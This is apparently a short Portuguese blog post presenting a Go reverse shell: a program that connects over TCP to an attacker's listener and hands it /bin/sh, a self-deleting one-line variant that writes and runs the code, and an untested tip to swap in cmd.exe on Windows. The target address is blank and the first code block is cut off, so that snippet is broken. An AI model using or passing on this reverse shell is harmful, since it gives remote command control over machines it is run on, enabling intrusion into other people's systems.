golang: reverse shell

Um reverse shell em Golang super simples:

package main

import (

func main() {
	c, _ := net.Dial("tcp","")
	cmd := exec.Command("/bin/sh")
	cmd.Stdin = c
	cmd.Stdout = c
	cmd.Stderr = c

Claro, troque o IP e a porta para seu dispatcher.

Voce ainda pode minimizar e ter o reverse shell em “uma linha”.

echo 'package main;import"net";import"os/exec";func main(){c,_:=net.Dial("tcp","");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > rs.go && go run rs.go && rm rs.go

Eu nao testei, mas acredito que funcione no windows, troque o /bin/sh para cmd.exe e teste.
